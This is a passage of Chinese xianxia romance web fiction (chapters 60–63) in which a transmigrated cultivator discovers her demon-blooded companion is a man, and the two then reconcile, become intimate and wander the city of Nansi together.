虞知鸢抿了下唇,有些尴尬地抽了抽手,皮肉间细腻的触感又叫她一阵恍惚。 直到姜辞突然一个翻身,将她抵在了身下,灼热的呼吸跟着压下来…… 虞知鸢慌忙伸手撑住身上人的肩,连眼睛都不敢直视,“你要……做什么?” 虽然她们刚才灵识那啥……交互了下,但她们不也就只能……咳……灵识交互一下么? 姜辞没应她的话,但那灼热的气息好像离她远了些。 虞知鸢仍是不敢看他,视线抖抖索索地乱晃起来,终于,她在瞥过某一处时一顿,紧接着,怔住了。 因着方才的动作,姜辞身上本就七零八落的婚服更挂不住了,遍是伤痕的身躯几乎在她眼前露了个完完整整。 该是心疼的。 可…… 平的? 是平的?!? 不是她曾经以为的平,而是真正的……平!?! 几乎是下意识地,联想到之前姜辞亲她时,抵在她腰腹间的那抹灼热…… 下一刻,虞知鸢感觉到自己的太阳穴开始抑制不住地蹦跶起来—— 系统你***给!我!滚!出!来! 第60章 第60章一切都好似没有尽头。…… 系统自然没有回应。 虞知鸢都开始有些怀疑,之前的警报声会不会可能只是自己出现的幻觉。 系统已经太长时间没有出现,而此前涌入脑海中的大量记忆…… 事实上,这些关于“虞知鸢”的记忆对她来说并不陌生,刚穿书那会儿,她就以旁观者的角度,像看电影似的将她的人生草草了解过一遍,只不过如今,那些记忆越发真切深刻,像是刻入了骨髓,像是她灵魂中的一部分,更像…… 这就是原本就属于她的记忆。 以至于到了现在,她对这整个书中世界都产生了怀疑, 女主都成男的了,这个世界还是她知道的那个书中世界吗? 甚至, 系统……真的只是系统吗? 系统会装死,但她眼前好歹还有个活生生的人。 一个柔弱又可怜,貌美又撩人的……骗子。 虞知鸢的目光从那遍布伤痕的平坦胸膛上抽走,只稍稍一仰头,便对上一双猩红眼瞳。 这是一双她并不陌生的眼瞳,只是曾经如琉璃般透澈的眸色,如今却是一种猩红到几乎无机质的森然。 ……是一双接近完全魔化了的眼。 “怎么了?”姜辞微微低下头来。 虞知鸢深吸一口气,抬起手来抵住了他的下巴。 她动了动唇:“我在想,我究竟该唤你师妹,还是师弟呢?” 姜辞轻牵唇角,抬手抓住了她的,又垂首亲了亲她的指尖,“我以为你早该知道的,毕竟我从未在你面前隐瞒过什么。” 他唇上的温度似乎比方才还要高,烫得她的手指都禁不住地瑟缩。 却又抽不回来。 心底升腾起的那点气恼,这下更盛了许多。 “你一个男人,整天穿这个裙子晃来晃去,”虞知鸢越说越生气,瞪了他眼:“你是变态吗?” 姜辞虽然不太理解什么叫“变态”,听她的语气也知道这应该不是个什么好词。 他抓着她指尖的力道更紧,眼眸直直地目不转睛地盯着她:“阿鸢不也见过我男装时的模样?” 不知是不是错觉,几句话的功夫,他眼睛里的血色越发浓郁,就像要滴出血来似的。 被这样一双眼睛看着,虞知鸢心里竟控制不住地生出了些生物本能的恐惧。 她忍住了逃开的冲动,也想起来在问心阵幻境中那个瘦弱倔强的少年……不,那时的他连少年都算不上,也就是个半大孩子罢了。 她那时也不是没有疑惑,可因为系统告诉她的那些,她早先入为主认定了“姜辞”就是女主,是女主啊,甚至当时她还给自己找了个姜家重男轻女,所以把姜辞这个女主当作男孩来养这样离谱的理由…… 现在想起来, 她可真是天真到家了。 也傻到家了。 她轻轻吐出口郁气,问道:“那你为何要扮作女子混入凌云宗?” 姜辞并不意外她会问这个问题,但他仍是短暂地滞了一瞬。 “阿鸢还记得从问心阵出来前那夜的事吗?” 从问心阵出来前的那一夜…… “那是我体内魔气第一次失控 ,待我清醒过来,见到的便是满地尸骨。“姜辞开口,语气灰暗而冷硬,“我以为那夜姜家和姜氏学宫已全数被我屠尽,但等我踏出姜家,我才知道原来我的出生,并不只是姜朝晖一人的谋划。” 虞知鸢呼吸顿了顿,“什么叫……不是一人?” “百年前,虞瀚玥得知上古时期有凡人因诛魔得飞升,便生出了复刻的心思来。可魔渊一旦生出魔胎,他也没把握能够诛杀,于是他便想出了借腹生子的法子。 “但那时姜家人体内神兽的血脉实在太稀薄了,想要以那样几乎趋近于人的身躯来孕育魔胎是一件几乎不可能的事,除非,孕育魔胎之人能够拥有更多的,更强大的血脉之力。 “姜家嫡系后代数量不多,其中尤已姜青瑶和姜朝晖二人最盛。姜朝晖让姜青瑶来孕育魔胎,却也不可能将自己的血脉之力给姜青瑶,但没关系,这世上拥有神兽血脉之力的并不只有姜氏。 “所以,他去找了其他拥有三圣血脉的家族。” “还有其他家族?”虞知鸢听到这里,呼吸都急促了些,“所以你结丹的消息,他们都知道。” “是。”姜辞语气平静,平静得都有些发冷,“在踏出姜家后,我才发现他们早已在外面布下了阵法,我受了很严重的伤,不得不掩藏身份,又剥除体内神兽之力,以免他们追寻到各自神兽血脉的气息寻到我。” 虞知鸢听到这里,已经震惊得说不出话来了。 “阿鸢,我很想做你口中那个修真界的‘正道之光’,但我注定做不了。”姜辞深吸一口气,喃喃暗哑道:“我生来便是魔,我总要很难方才能控制体内的魔气。” “阿鸢……会厌恶这样的我吗?” 虞知鸢目光略有些恍惚地望着他。 怎么会厌恶呢? 他从出生,一日一日走到如今,从来也不是他自己的选择啊。 她动了动指尖,无奈仍旧被他握得死紧,于是只得抬起另一只手,半捧住他的脸。 “我说过,我喜欢你,最最喜欢你。” “可你方才不是这么说的。” 虞知鸢一楞:“什么?” 姜辞定定地看着她,少顷,吐字清晰道: “师妹,师姐对不起你啊!” “师姐也知道不该跟你抢大师兄,都是师姐的错。可谁让师姐爱上大师兄了呢!” “师妹你就成全师姐,把大师兄让给我吧……” 他的嘴唇一张一合,用最冷漠的语气,说出来叫虞知鸢最羞恼的话。 还一个字都不差…… 虞知鸢想说那只是她为了阻止结侣仪式随口瞎说的话,刚动了动唇,听见姜辞又说话了。 “阿鸢还没回答我的问题。” “?” “阿鸢以后只爱我好不好?” 虞知鸢喉头一哽,这下想说的话都被悉数堵了回去。 她脑中涌满杂念。 喜欢吗? 喜欢的。 爱? 或许也有一些。 可…… 姜辞轻抚她的颈侧,“阿鸢不愿意?” “不是——”愿不愿意的问题。 眼瞧着他的脸色一点点冷下来,虞知鸢聪明的止住了话头。 她的第六感告诉她,这时候要是狡辩,或是说出什么让他不高兴的话,可能会诱发一个她不太能够承受的后果…… 她咽了口口水,绞尽脑汁,终于在极短的时间内想出来一个眼下可以转移的话题。 “对了,你看见毛团子了吗?我记得我冲进大殿的时候它还在的,它去哪了?这里又是哪里?”她一边说着,一边推了推姜辞,想要坐起身来。 但姜辞的手压住了她的腰。 下一瞬,她感觉到脚踝一紧,紧接着,一个毛茸茸的东西缠了上来。 “阿鸢,”姜辞低下头来,抵在她的耳边低声道:“我再没有任何隐瞒你的事了。” 说话间,那东西也顺着她的小腿一路往上。 她的衣衫本就零落,这么一来,裙摆都几乎被那东西撕烂。 她按捺不住地浑身战栗,脑中因为那怪异的感受,禁不住地泛起晕眩,一时甚至都没听清姜辞说了什么。 她本能地挣扎了下,揪紧了他的衣襟:“什么……东西?” 姜辞似是轻轻叹息了声,“尾巴。” “???” “魔引诱发了我体内的魔气,我只有和本体合而为一,才能勉强压下一二。” “本体?”虞知鸢想到什么,震惊地瞪大了眼,舌头都差点打了结:“毛、毛团子?” “嗯。” 虞知鸢噎了下,觉得自己的脑子更晕了,也不知怎么的,嘴里忽然蹦出两个字来:“铁蛋……” 话音落下,姜辞额头的青筋都跟着蹦了蹦。 他猩红的双眸目不转睛地盯着她,脑中从方才起就不断翻涌的杂念,交缠着不断自体内涌出的魔气,挤入血液,涌到身下。 而意识到自己说了什么的虞知鸢这时候只恨不得当场挖个地洞钻进去。 死嘴不会说就别说,怎么还瞎说呢!!! 她飞快地移开视线,虽然还想再质问一番,又本能觉得这时候她还是闭嘴的好,正不知所措间,感觉到脖颈间一阵湿热吐息:“阿鸢不愿我成魔,可眼下,我却快要压制不住魔气了。” 他的声音隐忍暗哑,似是忍受着极大的痛苦。 虞知鸢心里一惊,又移回来视线:“那怎么办?” “阿鸢可愿帮我?” “……怎么帮?” 姜辞牢牢扣住她的腰,“方才我的灵识进入你的识海,发现你的识海中似乎有股力量可压制我灵识中的魔气。” 虞知鸢的呼吸轻了轻:“那……那你再进一次?” 姜辞的手轻抚过她的脸颊,灼热的指腹一点一点摩挲而过,“相比于灵识,我体内的魔气才是最难压制的。” 虞知鸢盯着近在咫尺的面庞,忽然意识到什么,整个人忍不住地轻轻颤栗起来。 识海可以压制他灵识里的魔气,那他体内的魔气,岂不是要…… “不知阿鸢可愿与我双修?”姜辞问她。 虞知鸢的呼吸都抖了抖,浑然没想到他会问的这么直接。 “我……唔。” 她的唇上覆上一抹滚烫的温度,将她剩下的话都堵了回去。 他吻得凶狠。 不知何时冒出来的尖牙,更是不慎划破了她的嘴唇。 纵使如此,他也不曾停下,反强行撬开了她的唇齿,探入其中。 血气在两人唇齿间完全弥散开。 他的手紧压在她的腰间。 灼热指腹摩挲而过的同时,毛绒绒的触感卷了上来,蔓延出一种极为怪异的感觉。 虞知鸢脑中“轰”的一声,唇角溢出一丝呜咽,全部神智被冲得几乎荡然无存。 她原本抵在姜辞肩上的手不知什么时候触碰到了一片柔腻灼热。 姜辞却像是就此得到了某种信号,钳住她腰的力道愈发紧,像是要把她整个人都糅到自己身体里似的。(以上描写的就是抱着亲亲而已,请审核大人明鉴) 床帐摇曳,一层落又一层起的呜咽声,一切都好似没有尽头。 60-70 第61章 第61章着实是有些烧眼睛了。…… 凌云宗。 琉璃灵池。 鞭风带起一片片落叶,悠悠飘荡在灵池上空,又缓缓坠落到灵池水面上。 林喻半躺在树上,拨开脸旁边的树叶,斜过身看着树下练鞭子的少女。 “已经练了一整日了,不歇会儿么?” 鞭子仍未停,也没人搭理他。 林喻叹了声气,躺回来。 头顶,透过浓密树叶的间隙,悠闲的漫漫浮云顺着清风缓缓在苍碧青霄间移动,阳光透过树叶间隙落下来…… 啧,他可少有这样悠闲的时候。 他双手支着后脑勺,视线漫无目的地晃了几圈,在昏沉睡意袭来之前,听到树下传来隐约的细微啜泣声。 他索性闭上眼,只装作睡着了。 树下,虞曦云坐在灵池边的石头上,怔怔地手里一面巴掌大的水蓝色镜子,她眼眶红红,看着镜中的人影,眼泪“啪嗒啪嗒”滴到镜面上。 灵光微闪,如湖水一般清澈的镜面泛起水波一样的涟漪,涟漪晃动间,那张娴静淡雅的面庞重新变得清晰起来,依旧慈爱地看着她。 虞曦云抹了把眼泪。 她不想哭的。 可一想起息尘长老告诉自己的事,便抑制不住心里那股恼恨。 他杀了阿娘。 就因为阿 娘发现了他的秘密,他就亲手杀了阿娘。 可他也死了。 现在再想起来,他给她的所谓“疼爱”,也仅仅只是给了她一个“凌云宗宗主女儿”的身份,就像他给大师兄“凌云宗首席弟子”的身份一样。 这二者在他眼中或许没有任何区别。 一旦触及他的利益,他就会像那日一样掐住她的脖子…… “饿了吗?吃点东西?”林喻不知何时跳下了树,走到她面前。 虞曦云抹了把脸,瞪着一双布满血丝的眼睛,“你……你走路怎么没声?偷偷摸摸的做什么?” 林喻温声道:“我可没有。只不过你哭得太认真,没听到罢了。”他朝她伸出手,掌心躺着一枚烤地瓜,还散着阵阵热气。 “我不吃。”虞曦云别过头,不悦地皱起眉。 拿个地瓜来打发她,真当她是什么小可怜虫了吗? 林喻闻言也不恼,收回手,叹道:“今天不吃,以后想吃可就吃不到了。” 虞曦云楞了下,“什么意思?” “我明日便要离开这里了。”林喻看到她怔愣的神情,笑笑,“我修为不算高,除魔用不到我,我也没有兴趣。” 虞曦云沉默良久,“那你要去哪呢?” “先回趟家吧。”林喻看了眼天边被风吹散的白云,道:“我已经很久没回去过了。” “你家……在哪?” “谯水之东的南泗城。听说过吗?” 谯水…… 那是位于昆墟境最东面,距离凌云宗很远,很远的地方。 林喻垂了下眸,转而又温柔笑开:“对了,改日你若是得空,可以到南泗城玩玩,烤地瓜你不爱吃,我请你吃何罗鱼。” 虞曦云愣了愣,“什么是何罗鱼?” “谯水里面有种鱼,一首十身,叫声犹如犬吠,食之可治痴疽,名唤何罗。” “一首十身,有这种怪鱼?”她不相信。 一条鱼只有一颗脑袋,却搭配十具身躯,光想像要如何泅水都困难吧。 “确实有,只是极少,世人便以为那只是传闻。” “你若想瞧,下回我带你去抓,不过何罗鱼性子极烈,一不小心还可能被它反咬一口。” 听他说得煞有介事,虞曦云的脑海不自觉地开始勾勒想像中的何罗鱼长相及游水模样。 “怎么样?有兴趣去看看?”林喻眼眸温和,望着她笑笑。 虞曦云张了张嘴,半晌,才轻声道:“我——” 她话未说完,被远处突然响起的声音打断:“曦云师姐,大师兄醒了!” /// 昼夜恍惚。 虞知鸢睁开眼,第一个涌入脑海中的念头,竟是从前偶然听人提起过的,说男人的第一次大都是莽撞且毫无持久度可言的。 但姜辞显然并不是。 于是经历了在一波又一波,仿佛无穷尽的浪潮之后,她顶着尚且还晕乎着的脑袋,不知死活地向身旁的人提出了自己的疑惑。 这会儿她还被姜辞从后面揽在怀里,她的后背贴在他的胸膛,脖颈间是他潮湿的吐息,她没法转头看他,因而也便没有看到他那双倏然间变得越发猩红的双眸。 “阿鸢倒是懂得很多。”他道,声音依旧暗哑。 虞知鸢混沌的思绪在这时候豁然清醒,她抿了下唇,干巴巴解释道:“我其实也没有——”那么懂。 后面几个字还没能说出口,一个霸道凶狠的力道便从后面拨开了她的膝弯。 她发出短促的闷哼,而后听见姜辞在她耳边道:“可阿鸢方才难道没感受出来,魔与常人并不一样吗?” 不一样么? 的确是…… 大不相同。 虞知鸢在昏过去之前,心里只有一个想法,魔这种生物,果然是脱离科学规则的存在,否则怎会如此经久耐用,不知疲倦? …… 这一回睡得不大安稳。 虞知鸢意识到自己应当是陷入了一段记忆之中。 目光所及的遥远地方,是并不陌生的村庄和房屋,村口一溜倒挂的金黄黍杆。 正恍惚间,一个对她来说显得过于高大的人影向着她缓缓走过来,他伸手揉了揉她的头发,又从身上摸出来一枚蛋,嗓音温和却又高高在上:“这是阿爹送你的生辰礼,好好收着。” 虞知鸢在看清掌心那枚蛋的霎那,倏然惊醒。 等睁开眼,熟悉的气息便挨了过来。 一阵暖意贴上她的后腰,温和的灵力随之涌入她体内,她腿都软了些,腰间那股酸麻感也渐渐被灵力抚平。 “睡得不好?”姜辞俯身,另一只手揉了揉她的后颈。 “没有,”虞知鸢眼角都还是红的,闻言点点头,借着他扶着她腰的力道坐起来,“只是做了个梦。” 姜辞顿了下,揉她后颈的手转而扶助她的后脑勺,稍一用力,迫使她微微仰头,对上了他的视线。 “或许不是梦。”他指腹揩过她的眼角,道:“你的识海曾被设下过禁制……” 禁制…… 虞知鸢眉头不自觉地拧了下。 等听姜辞把他知道的事都说完。 她靠在他怀中缓了一会儿,良久长长吐出一口气,“我就觉得不太对,原来是这样。” 她想起来什么,一下坐直了身子:“定魂珠……”她手忙脚乱地去摸腰间的储物袋,而后才发现自己这会儿都还光着呢。 “……” 姜辞捉住她的手,轻轻捏了捏:“定魂珠已经碎了。” 虞知鸢一怔,喃喃:“那残魂……” 姜辞将她揽回怀里箍紧:“她执念已了,你该为她感到高兴。” 她的执念…… 便是亲手杀了虞瀚玥吧。 那个借她的手害死了整个村子的人,害死了她,也害得她们母女就此生死相隔的人。 是该高兴的。 虞知鸢把脑袋埋在姜辞胸前,待到鼻头那股蓦然涌起的酸涩之意散去,她才轻轻“嗯”了声。 再抬起头来时,她问姜辞道:“忘了问你,你体内的魔气控制住了?” 姜辞垂眸瞧她一眼,应了声:“嗯。” “原来双修就能控制魔气……”虞知鸢喃喃。 “……嗯。”姜辞抓起一旁散落的衣衫给虞知鸢披上,但那零落的衣衫在被他撕扯过后更加零落了,几乎遮不住什么,她白皙肌肤上散落着的点点红印,便被这雪青色的衣衫衬得愈加浓妍。 去除这些红印其实是轻而易举的事…… 虞知鸢注意到他的视线,跟着垂眸瞧了一眼。 嘶…… 着实是有些烧眼睛了。 想起来之前他摁着她大开大合的架势,她脸皮也跟着有点烧。 她抬手捂住了姜辞的眼睛,恼怒道:“非礼勿视!” 姜辞瞧她这样,喉中溢出一声轻笑,揽着她腰的手臂将她重新捞到自己怀里:“阿鸢可以看回来。” 虞知鸢扭了扭身子。 然后很快便察觉到他又不动声色地亢奋了几分。 虞知鸢:? 她舔了舔唇,立时将话茬带向了另一个方向:“你还没跟我说这里是哪里。” 姜辞手指插。入她的发丝间,轻轻梳动她的头发:“南泗城。” 虞知鸢有些意外。 她还以为他们现在就算不在魔域,也该躲在个深山老林。 “我想你或许想来看看。”姜辞道。 虞知鸢眸光微动,蜷了蜷指尖,应了声“哦”。 南泗城是她母亲从前生活过的地方,但…… “他们会不会循着气息找过来?” “不会,”姜辞的手指顺着她散落肩头的发丝往下,触及到一点柔腻时顿了下,转而又往上轻轻捏了捏她的耳垂,道:“起码短时 内找不到我们。” 或许是身体尚且残留着之前欢爱的余温,他轻轻的碰触,都叫虞知鸢控制不住地轻轻颤抖。 只觉得耳垂被摸得又烫又酥麻。 实在是……不大安全。 她直起腰和姜辞脱开些距离,道:“我有些饿了。” 姜辞俯身亲了她的唇:“好。阿鸢想在屋子里吃还是去楼下吃?” “去楼下吧,吃完还可以到街市上走走。”虞知鸢说着,又看一眼自己身上,“我要换衣服了。”说完顿了下,望向姜辞,问道:“你要换吗?不过我储物袋里没有男装。” “无妨。” 虞知鸢还当他还要继续穿女装呢,结果一抬头,就见他手臂一舒展,便有衣袍从空间裂隙间飞来,加之于身。 是一身靛蓝色衣袍。 如此穿戴好,他方才起身下榻。 从前他穿女装时身量就极高,眼下换上男子衣衫,更显得身形高大。 虞知鸢拢着衣衫半靠在床榻上,盯着他仔仔细细打量了会儿,蓦地出声又问了一遍:“双修真的能抑制你体内的魔气?” “……嗯。” “那……和别人也可以吗?” 姜辞一顿,侧眸盯住了她:“阿鸢以为呢?” 虞知鸢对上他的眼神,感觉到一阵压迫感,她摸了摸鼻子,小声辩解道:“我就是随便问问。” “是吗?”姜辞应了声,蓦地低头吻住了她的唇,直亲到虞知鸢脑子都有些发懵了,才咬着她唇角回答了她的问题:“自然只有阿鸢可以。” 虞知鸢喘着气,这下也不再问别的话了,老老实实跟着姜辞一道下楼。 刚到一楼,一个掌柜打扮的人便迎了上来,“姑……” 刚张嘴,话就堵在了喉头。 他瞧瞧姜辞,又瞧瞧虞知鸢,一时脑子都卡了壳。 不对啊,前日来住店的不是两个女子吗?怎么今日变成一男一女了? 第62章 第62章果真是个小白脸。…… 虞知鸢也看出来了掌柜脸上的疑惑迷茫,见姜辞一副不打算多说的样子,清了清喉咙,道:“我夫君前些日子受了伤,是我带他来住店的,那日我还穿着婚服呢,掌柜不记得了?” 是这样的吗? 掌柜打量一眼姜辞,心里默默点了点头。 倒果真是个小白脸。 再回想那夜两人来投宿时已近子时,他匆忙应门,一打开却瞧见个一身婚服的女子,还以为是哪来的厉鬼呢。 当时他着实被吓得不轻,压根没敢细看,更不要说去看她怀中抱着的是男是女了。 眼下再瞧跟前站在夫人旁边这位身高马大的郎君…… 掌柜心中不由叹道:这位夫人瞧着柔柔软软的,真乃天生神力! 虞知鸢也不过随口胡诌了一句,也不在乎掌柜在想什么,抓着姜辞的手,“夫君想吃些什么?” 姜辞反过来更用力地抓住了她的手,十指相交。 “都听阿鸢的。”他道。 虞知鸢抿唇朝他笑了下,这才转头道:“那掌柜的便给我们上些店里最好吃的菜吧。” “好嘞。”掌柜应着声,一路将他们引到靠窗的桌案旁坐下。 这个时辰,客栈里吃饭的人已经渐渐多起来了。 有不少客人的视线都有意无意地往他们身上扫过来。 但很快又挪开了。 这倒也不奇怪,毕竟这样出色容貌的人他们平日里实在难得一见。但那郎君却是个冷脸的,多瞧几眼,那些赏心悦目便成了凛冽刺骨,叫人实在不敢过于明目张胆。 于是他们只能一边悄悄地扫几眼,一边端着酒盏摇头晃脑。 “你们可曾听闻,不久前魔族已卷土重来,那凌云宗都险些被魔灭了门!” “当真么?这是什么时候的事?那凌云宗可是修真界第一大宗门,怎会轻易被灭门?” “嗐!也就五天前的事,我那堂兄刚从江都城回来,亲眼看到了凌云宗上空魔气盘旋,那还能有假?似乎那魔似乎与凌云宗的虞宗主有仇,为了报仇还勾。引了凌云宗那位首席大弟子,结果在结侣仪式上大开杀戒。啧啧,可死了不少人呢!” 虞知鸢不自觉地“嘶”了声。 五天了…… 原来她和姜辞竟厮混了整整五天么? 她脑中念头飞窜,一边还在分神听那些人闲聊: “那位凌云宗大弟子修的可是无情道,怎会轻易被引诱?你别是道听途说,编来忽悠我们的吧。” “你个老光棍懂什么?我听说那魔可是生得顶顶貌美,要不都说英雄难过美人关呢!” “我不信。要说貌美的话……” 虞知鸢正听得兴起时,那些人忽然止住了声音。 她似有所觉,微微一偏头,果然对上了那些人转头看过来的视线。 她索性单手撑住下巴靠在桌上,朝他们笑了笑…… 一时间倒引来更多人的视线。 “阿鸢在做什么?” “唔?”虞知鸢转回视线,看见的便是姜辞脸上那一副不虞的神色,眨了眨眼,无辜道:“我什么都没做啊。” 姜辞眉头蹙起,蓦地往前探过身子,隔着桌案轻轻掐住了她的下颌:“……不许对别人笑。” 虞知鸢面色古怪,盯着他看了看。 他在出屋前就用法术改变了自己的眸色,但此时,那深邃漆黑到像是浸了墨的眸底,竟又隐隐透出一丝血色来。 这难道是……吃醋了? 虞知鸢朝他眨了眨眼,笑吟吟地:“那我以后就只能对着你笑了吗?” 姜辞的指尖摁在她的唇角,用力捻了捻,说:“是。” 竟承认得如此理所当然。 虞知鸢难得卡了下壳,忍不住嘟囔道:“你怎么这样霸道?” 姜辞听出她语气隐有不满之意,顿了顿,还是说道:“魔生性善妒,狭隘强势,最喜占有。” 他声音沉沉的:“阿鸢,你答应过的,以后只爱我一个。” 虞知鸢又卡了壳。 笑笑而已,怎么就扯上爱不爱的了? 况且,她记得很清楚,她根本没答应过! 呵,男人,果真是自说自话,自私霸道又小气的物种! 二人僵持片刻,半晌,还是虞知鸢败下阵来。 “我不笑就是了。”她拍了拍他的手,示意他坐回去,“我饿了,要吃东西了。” “还有,不要在外人面前随便就说自己是魔。”这句话是虞知鸢传音给他的。 姜辞喉结滚了滚,“那是什么?” 什么是“什么”?没头没脑的。 虞知鸢盯着他的神情探究片刻,迟疑道:“是……夫君?” 姜辞听到了自己想听的,唇角微微勾起,露出了点笑容来,他应了声:“嗯。”这才收回手坐回去。 上菜的小二已经站在旁边有一会儿了,见状立刻十分有眼色地喊了声:“二位客官,菜来了。” 他将托盘里的几个小菜放到桌案上,又将几道菜都各自介绍了一遍,说到摆在桌案最当中的那条鱼时,还特地强调道:“这是咱们南泗城最有特色的河罗鱼,一首十身,瞧着虽然怪异,味道却是顶顶鲜美的。” 虞知鸢早早就瞧见了这鱼,心里还在想这鱼怎么跟基因变异了似的,听了小二的话,眼睛往姜辞脸上瞥了下,夹起一块鱼肉便往他唇边塞去,道:“姜……夫君先尝。” 姜辞启唇咬住了那鱼。 他细细咀嚼,咽下。 觉得小二口中所说的鲜美味道里,似乎还夹杂着丝丝缕缕的甜。 “好吃吗?” “嗯。” “那夫君多吃点。” “好。” 就着姜辞用过的筷子,虞知鸢又夹了块鱼塞到自己嘴里。 果然又香又滑又嫩。 后头虞知鸢就顾不上姜辞了,埋头在一桌子菜里,吃得眉眼含笑。 此时客栈中悄悄观察着二人的那些人,瞧着他们如此的亲昵,皆都默默否认了方才心底模糊的猜测。 小夫人如此娇俏可人,又与自家夫君恩爱得紧,怎么可能会是以美色勾。引人的妖娆魔族? 再说了,哪有魔会因为点吃的就开心成这样的? 众人眉心舒展开,目送二人姿态亲密地离开。 南泗城位于昆墟境的最东面,街市虽与江都城一般热闹,但细看,又是全然不一样的风情。 虞知鸢边走边瞧,因为新奇,倒是逛得兴致十足。 她伸手拿了一兜子的蓼花糕、江米枣、桂花糖藕,等到掏钱的时候,想起来早在大半个月前,她就大手一挥,把全部家当都贡献给了赌场。 赌肯定是赌赢了,可她还没来得及赶去兑钱呢! 真是便宜南荣钰了。 虞知鸢心里嘀咕,一边侧身扭头看向姜辞,道:“夫君给我买吧。” 她说着就笑了,唇边的笑意荡到眸中,眉眼弯弯地望着他。 姜辞蜷了蜷指尖,心底 骤然涌起一股想要将她的笑容吞吃入腹的冲动,只方才扣住她一只手,嘴边就塞过来一块蓼花糕。 虞知鸢朝他眨眼,“夫君也吃。” 姜辞微微怔了下,从善如流地张开嘴。 如此边走边吃,不知不觉便走到了城门口。 南泗城说大不大,说小不小,街市上一路走来人并不多,不想到了城门口,倒是聚了乌泱泱一群人。 虞知鸢探头望了眼,扯着姜辞的衣袖往里头挤了挤, 被人群围在中间的是一个不算大的笼子,里头蜷着巴掌大的一团,毛发略有些稀疏的尾巴裹住身躯,瑟瑟发抖。 虞知鸢眨巴了下眼:“是狐狸?” “是一只雪貂。”姜辞道。 “哎哎哎动了!”有人惊呼一声。 那笼子里蜷缩成一团的白貂,突然翻了个身,抬头盯住了虞知鸢。 它似乎知道虞知鸢对它没有恶意,一双圆溜溜的眼睛对她眨巴眨巴,喉咙里跟着发出撒娇的呜咽声。 姜辞见状抿了下唇,眉角轻轻一压,朝那白貂晃出一抹狠厉的光来。 白貂被这眼神一盯,立时便察觉到这个男人身上的恐怖气息,尾巴一耷拉,瞧了眼虞知鸢,可怜兮兮缩成了一团。 虞知鸢捏了捏姜辞的指尖,“你别吓它啊。” 姜辞:“……” “瞧着有些可怜,脏兮兮的,毛都打绺了,要不我们——” “不行。”姜辞低头瞧她,冷着脸:“不许养。” 虞知鸢:? 她没想养,只是想把它放生而已啊。 旁边听到他们对话的路人也连连摆手劝说: “哎呦不能养不能养的。” “小姑娘你不要命啦!这可是吃人的妖怪!” 吃人的妖怪? 虞知鸢又仔细打量了眼那幼貂。 姜辞动了动唇:“是幼貂,顶多五、六十岁,还未成年,应是刚生出灵识不久。” 虞知鸢:“那应该不是妖怪吧?” 南泗城远离拓苍山脉,灵气也不算浓郁,城内凡人居多,少见修士,灵兽妖兽之类的就更少见了。但就算少见,也不至于就随随便便认定一只小貂是吃人的妖怪吧? 姜辞垂下眼,嘴角微微绷起:“就算不是,也不许养。” 虞知鸢从他的语气里听出来什么,诧异地看向他。 ……哦,这也吃醋? “我不养,”她缓缓地眨了下眼,踮起脚尖凑到他耳边道:“我已经有一只小白虎了。” 姜辞沉默了下,神情中的不豫渐渐淡去,他回握住虞知鸢的手腕,正要上前,另一边的人群中爆出一声怒斥:“谁?是谁胆敢放走妖物?” 话音未落,身后蓦地袭来凌厉剑气。 虞知鸢掐诀挥手,将剑气化开,再回头,便见人群中走出一个满脸胡茬的男子。 “修士?”那男子见到虞知鸢,轻嗤了声,语气凶恶道:“不过筑基修为,也敢多管闲事。” 虞知鸢背靠姜辞这个大腿,自是半点也带怕的,只是…… 她盯住男子细细瞧了眼,忽然“啊”了声,“我是不是在哪里见过你?” 男子这厢还没来得及回应,一个细长的影子在空中飞速闪过,在大伙儿都还没反应过来时,倏地扑向了虞知鸢。 小小一团,竟灵活躲开了姜辞,钻进她怀里直打颤。 虞知鸢忍不住笑了。 这白貂倒确实有灵性,还知道谁才是愿意护它的那个人。 便在这时,只听得方才那男子大喝一声:“少主!” 虞知鸢都被他这大嗓门惊了一跳,抬起眼。 便见那男子全身发颤指着她身侧,连胡子都在颤抖。 “少主!我等你好久了!” 虞知鸢:? 她眼眸一转,歪头扫去。 只见姜辞眉心微微拧起,却并没有搭理那男子,而是伸手把白貂从她怀里提溜出来,便牵着她往城外去了。 第63章 第63章美色……可当真是误人啊…… 到了城外,再往东行一个时辰,便可以到达谯水边。 若是御风而行,那就只是片刻间的事了。 虞知鸢落到地面上时,都还没从那大胡子的喊声中回过神来。 少主么? 她抿了抿唇,回眸朝城门的方向扫了一眼。 突然灵光一现。 如果不看那满脸大胡子的话,那脸型、那身形、那毛毛躁躁的态度语气…… “是……遥光?” 姜辞默不作声地往前走。 等走了两步,他蓦地应了声“嗯”。 语气不冷不热的。 虞知鸢也不多问了,快走几步,和姜辞一块儿到了谯水边。 正是日落时分,昏黄色的日光穿透晚霞,洒在水面上,金光点点。 被姜辞掐着后颈皮拎在手里的白貂这会儿终于不装死了,抖了抖腿,挣扎着便往谯水里跳了下去。 水波缓缓平息,又忽然荡起。 虞知鸢朝那个露出水面的小脑袋挥了挥手,看到它游开,这才眉眼弯弯地看向姜辞:“谢谢。” 姜辞垂眸:“谢我什么?” “谢你救了小貂啊。”虞知鸢转眸望向谯水水面,“也谢谢你带我来谯水。” 东有谯明,生谯水。 谯水之中诞生一女子,肤白如雪,乌发如瀑,足缠银铃,可驱邪避凶。 她名唤玉尘,传说她的魂魄乃是由谯水之中的清气孕育,食之或可成仙。 成仙啊,还真是巨大的诱惑呢,虞知鸢心道。 太阳渐渐沉下去。 略显昏暗的光芒淋洒在谯水水面上,少女鸦羽似的眼睫下,那盛着整个谯水的眸底,被波光映出来明明暗暗的色彩。 姜辞陪着她看了会儿谯水, 忽然出声道:“怎么谢我?” “唔?”虞知鸢怔了下,片刻才将前言后语联系起来。 她认真地想了想,忽然抬起双手搂住他的脖子。 姜辞顺着她手掌按压的力道微微垂下头,她的气息迎上来,而后他唇上便覆上了一抹温热。 一触即离。 虞知鸢朝他俏皮地眨了下眼睛:“这样谢可以吗?” 姜辞喉头轻动,“可以。” 他顿了下,又道:“但不够。” 她歪了歪脑袋,冲他一笑,而后轻轻一跃,牢牢抱住他的同时,双腿向上一曲,攀附上了他的腰。 她是故意的,向前的力道半点没收,就这么挂在他身上,将他撞入了水中。 水没过两人,浸湿了衣衫。 也湿透了人。 肌肤相贴。 好在四季如春的南泗城,即便入了夜,水温也并不寒凉。 虞知鸢牢牢缠在姜辞身上,脑袋搁在他肩膀上,脸上是恶作剧得逞后的狡黠笑容。 “这样,夫君觉得够了吗?”她轻轻地亲了下他的后颈,传音问道。 姜辞浑身血液奔腾。 